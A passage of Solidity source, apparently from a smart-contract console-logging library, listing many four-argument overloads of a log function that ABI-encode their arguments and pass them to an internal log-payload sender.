function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
